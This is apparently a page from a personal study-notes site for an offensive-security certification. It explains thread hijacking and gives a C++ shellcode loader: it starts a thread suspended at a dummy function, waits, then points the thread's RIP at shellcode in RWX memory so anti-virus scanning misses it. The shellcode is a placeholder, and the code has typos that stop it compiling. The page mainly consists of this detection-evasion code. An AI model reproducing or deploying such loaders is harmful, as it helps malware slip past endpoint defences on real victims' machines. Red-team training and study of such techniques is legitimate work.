> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/crto/malware-essentials/process-injection/thread-hijacking.md).

# Thread hijacking

In the examples above, the new threads are pointing to our shellcode when they are created. Anti-virus solutions can receive notifications when new threads are created and are able to inspect the memory the thread is pointing to. If they find the thread is pointing to shellcode, it can block the new thread from starting and raise an alert.

A possible workaround for this is to create the thread in a suspended state but pointing to a benign location. After some time (hopefully after the anti-virus has scanned the memory region), the context of the thread can be changed to point at the shellcode and resumed.

```
#include <Windows.h>

void dummy(){
    // do nothing
}

int main(){
    unsigned char shellcode[] = "...";
    
    // allocate a region of memory 
    auto hMemory = VirtualAlloc(
        NULL;
        sizeof(shellcode),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    
    // write the shellcode into memory
    SIZE_T bytesWritten = 0;
    WriteProcessMemory(
        GetCurrentProcess(),
        hMemory,
        &shellcode,
        sizeof(shellcode),
        &byteWritten
    );
    
    // create a suspended thread pointing at a dummy function
    DWORD threadId = 0;
    auto hThread = CreateThread(
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)&dummy,
        NULL,
        CREATE_SUSPENDED,
        &threadId
    );
    
    // little sleep
    Sleep(5 * 1000);
    
    // get current thread's context
    CONTEXT ctx = { 0 };
    ctx.ContextFlags = CONTEXT_ALL;
    
    GetThreadContext(hThread, &ctx);
    
    // point thread context at shellcode
    ctx.Rip = (DWORD64)hMemory;
    SetThreadContext(hThread, &ctx);
    
    // resume the thread
    ResumeThread(hThread);
    
    // wait on thread
    WaitForSingleObject(hThread, INFINITE);
    
    // close handle 
    CloseHandle(hThread);   
    
}
```

A similar variant of thread hijacking can be performed where you enumerate all of the running threads in a process, suspend one of them, change its context and then resume it. This isn't generally recommended though, because you'll break whatever functinality that thread was performing and potentially crash the process.
